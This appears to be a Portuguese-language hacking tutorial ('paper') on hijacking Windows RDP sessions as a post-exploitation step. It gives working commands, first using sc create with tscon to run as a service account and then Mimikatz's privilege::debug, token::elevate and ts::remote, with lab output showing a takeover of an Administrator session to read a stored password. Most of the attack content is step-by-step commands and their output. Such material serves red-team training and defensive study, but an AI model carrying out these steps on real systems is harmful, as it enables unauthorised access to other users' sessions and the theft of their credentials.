Autor: @mrempy
⠀⠀⠀⣤⣴⣾⣿⣿⣿⣿⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡄ ⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢰⣦⣄⣀⣀⣠⣴⣾⣿⠃ ⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⠀ ⠀⠀⣼⣿⡿⠿⠛⠻⠿⣿⣿⡇⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀ ⠀⠀⠉⠀⠀⠀⢀⠀⠀⠀⠈⠁⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀ ⠀⠀⣠⣴⣶⣿⣿⣿⣷⣶⣤⠀⠀⠀⠈⠉⠛⠛⠛⠉⠉⠀⠀⠀ ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⣶⣦⣄⣀⣀⣀⣤⣤⣶⠀⠀ ⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀ ⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀ ⢠⣿⡿⠿⠛⠉⠉⠉⠛⠿⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀ ⠘⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⣿⠿⠛⠀⠀⠀ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓ ▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓ ▓▓▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓ ▓▓▒▒ Sumário ▒▒▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▒▒ 1. O que é um Sequestro de RDP ▒▒▓▓▓▓ ▓▓▒▒ ▒▒▓▓▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▓▓▒▒ ▒▒▓▓ ▓▓▒▒ 2. Requisitos ▒▒▓▓▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▓▓▒▒ ▒▒▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▒▒ 3. Sequestro Utilizando o Prompt de Comandos ▒▒▓▓▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▓▓▒▒ ▒▒▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▓▓▒▒ 4. Sequestro Utilizando o Mimikatz ▒▒▓▓▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▒▒ ▒▒▓▓ ▓▓▒▒ ████████ ████ ▒▒▓▓ ▓▓▒▒ ██████ █████████ ▒▒▓▓ ▓▓▒▒ ▒▒▓▓▓▓ ▓▓▒▒ ████████ ██ ██████ ▒▒▒▒ ▓▓▒▒ ████████ ██████████ ████████ ████ ▒▒▒▒ ▓▓▓▓▒▒ ████ ▒▒▒▒ ▓▓▒▒ ▒▒▓▓ ▓▓▓▓▒▒ ██ ██ ████ ▒▒▓▓▓▓ ▓▓▒▒ ██████ ████████ ████ ████████████ ██ ▒▒▓▓ ▓▓▒▒ ██████ ██████ ▒▒▓▓ ▓▓▓▓▒▒ ▒▒▓▓ ▓▓▓▓▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▓▓ ▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ Neste paper, eu irei abordar 2 formas para executar um sequestro de (Remote Desktop Protocol). ╔════════════════════════════════════╗ ║ O que é um Sequestro de RDP ║ ╚════════════════════════════════════╝ O sequestro de RDP é uma das técnicas essenciais relacionada a pós-exploração em ambientes Windows. Com essa técnica, é possível obter acesso remoto à área de trabalho de um usuário para ter acesso a dados que estão presente na sessão do usuário. O cenário de exemplo que iremos utilizar terá uma sessão RDP do usuário Administrator ativa, onde há uma senha escrita em um bloco de notas. O objetivo é sequestrar a sessão do usuário Administrator para conseguir ter acesso ao bloco de notas onde está a senha. ╔═══════════════════╗ ║ Requisitos ║ ╚═══════════════════╝ Para que o ataque funcione corretamente, é necessário ter todos esses requisitos: * Conta de usuário com acesso administrativo * Acesso à máquina via RDP * Mimikatz implantado na máquina ╔═════════════════════════════════════════════════╗ ║ Sequestro Utilizando o Prompt de Comando ║ ╚═════════════════════════════════════════════════╝ O sequestro de sessão RDP utilizando o Prompt de Comando se resume em criar um serviço onde irá executar o cmd.exe chamando o executável "tscon.exe" para pular para outra sessão. Se tentar executar o tscon sem ser por uma conta de serviço, o programa retorna uma mensagem pedindo para o usuário colocar a senha da conta que quer sequestrar. Um prompt de comando ou powershell executado como administrador não é o suficiente, é necessário executar o ataque com uma conta com permissão acima do grupo de administradores. A conta "Local Service" está acima dos administradores, se executar o tscon com esse usuário, não será necessário se autenticar na conta do usuário alvo. Vamos começar! Execute o cmd.exe como administrador e execute o seguinte comando: ╔════════════════════════════════════════════════════════════════════════════════════╗ ║Microsoft Windows [Version 10.0.20348.587] ║ ║(c) Microsoft Corporation. All rights reserved. ║ ║ ║ ║C:\Windows\system32>query user ║ ║ USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME ║ ║ administrator rdp-tcp#0 2 Active . 06/05/2023 10:18 ║ ║>rdpuser rdp-tcp#1 3 Active . 06/05/2023 10:18 ║ ╚════════════════════════════════════════════════════════════════════════════════════╝ Com esse comando, é possível ver todas as sessões RDP's ativas na máquina. O usuário utilizado é o "rdpuser", que será responsável pelo sequestro da sessão RDP do usuário "administrator". Tendo isso em mente, crie um serviço pelo cmd com o seguinte comando: sc create rdphijacking binpath="cmd.exe /k tscon ID /dest:SESSIONNAME" Altere o "ID" para o ID da sessão que você quer sequestrar, que neste caso, é o ID 2. Também altere o "SESSIONNAME" para o seu nome de sessão do RDP, que neste caso, é rdp-tcp#1. ╔════════════════════════════════════════════════════════════════════════════════════╗ ║Microsoft Windows [Version 10.0.20348.587] ║ ║(c) Microsoft Corporation. All rights reserved. ║ ║ ║ ║C:\Windows\system32>query user ║ ║ USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME ║ ║ administrator rdp-tcp#0 2 Active . 06/05/2023 10:18 ║ ║>rdpuser rdp-tcp#1 3 Active . 06/05/2023 10:18 ║ ║ ║ ║C:\Windows\system32>sc create testsvc binpath="cmd.exe /k tscon 2 /dest:rdp-tcp#1" ║ ║[SC] CreateService SUCCESS ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════╝ O serviço foi criado, agora basta executar o comando "net start testsvc". Após a execução, sua sessão será trocada rapidamente para a sessão RDP que você sequestrou. Caso queira deletar o serviço, execute o comando "sc delete testsvc". ╔════════════════════════════════════════╗ ║ Sequestro Utilizando o Mimikatz ║ ╚════════════════════════════════════════╝ A ferramenta Mimikatz contém funcionalidades relacionadas a RDP que ajudam na movimentação lateral. Instale o Mimikatz na máquina alvo e execute os seguintes comandos no cmd como administrador: ╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║C:\Users\rdpuser\Desktop\mimikatz-master\x64>mimikatz.exe ║ ║ ║ ║ .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 ║ ║ .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ║ ║ ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ║ ║ ## \ / ## > http://blog.gentilkiwi.com/mimikatz ║ ║ '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) ║ ║ '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ ║ ║ ║ ║mimikatz # privilege::debug ║ ║Privilege '20' OK ║ ║ ║ ║mimikatz # token::elevate ║ ║Token Id : 0 ║ ║User name : ║ ║SID name : NT AUTHORITY\SYSTEM ║ ║ ║ ║560 {0;000003e7} 1 D 20777 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary ║ ║-> Impersonated ! ║ ║* Process Token : {0;00083144} 3 F 2696845 ADLAB\rdpuser S-1-5-21-1925757665-3945186109-1063137025-1104 (14g,26p) Primary ║ ║* Thread Token : {0;000003e7} 1 D 2773832 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) ║ ║ ║ ║mimikatz # ts::sessions ║ ║ ║ ║Session: 0 - Services ║ ║state: Disconnected (4) ║ ║user : @ ║ ║curr : 06/05/2023 11:00:24 ║ ║lock : no ║ ║ ║ ║Session: 1 - Console ║ ║state: Connected (1) ║ ║user : @ ║ ║Conn : 06/05/2023 10:17:21 ║ ║curr : 06/05/2023 11:00:24 ║ ║lock : no ║ ║ ║ ║Session: 2 - RDP-Tcp#0 ║ ║state: Active (0) ║ ║user : Administrator @ ADLAB ║ ║Conn : 06/05/2023 10:18:39 ║ ║logon: 06/05/2023 10:18:40 ║ ║last : 06/05/2023 10:59:05 ║ ║curr : 06/05/2023 11:00:24 ║ ║lock : no ║ ║addr4: 10.18.1.10 ║ ║ ║ ║Session: *3 - RDP-Tcp#1 ║ ║state: Active (0) ║ ║user : rdpuser @ ADLAB ║ ║Conn : 06/05/2023 10:18:53 ║ ║logon: 06/05/2023 10:18:55 ║ ║last : 06/05/2023 11:00:24 ║ ║curr : 06/05/2023 11:00:24 ║ ║lock : no ║ ║addr4: 10.18.1.12 ║ ║ ║ ║Session: 65536 - RDP-Tcp ║ ║state: Listen (6) ║ ║user : @ ║ ║lock : no ║ ║ ║ ║mimikatz # ts::remote /id:2 ║ ╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝ Observe que o parâmetro "id" está com o número 2, que é o ID da sessão do usuário Administrator. Ao executar os comandos, você será redirecionado para a sessão do usuário. _--_ / -) ___/___|___ ____-----=~~///| ||||~~~==-----_____ //~////////////~/| |//|||||\\\\\\\\\\\\\ ////////////////////| |///////|\\\\\\\\\\\\\\\ /////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\ //~ /\\|\\ ~\\ ///W^\W\ ////|||\\\ ~~~~~~~~~~ Obrigado por lerem meu paper, até a próxima ;)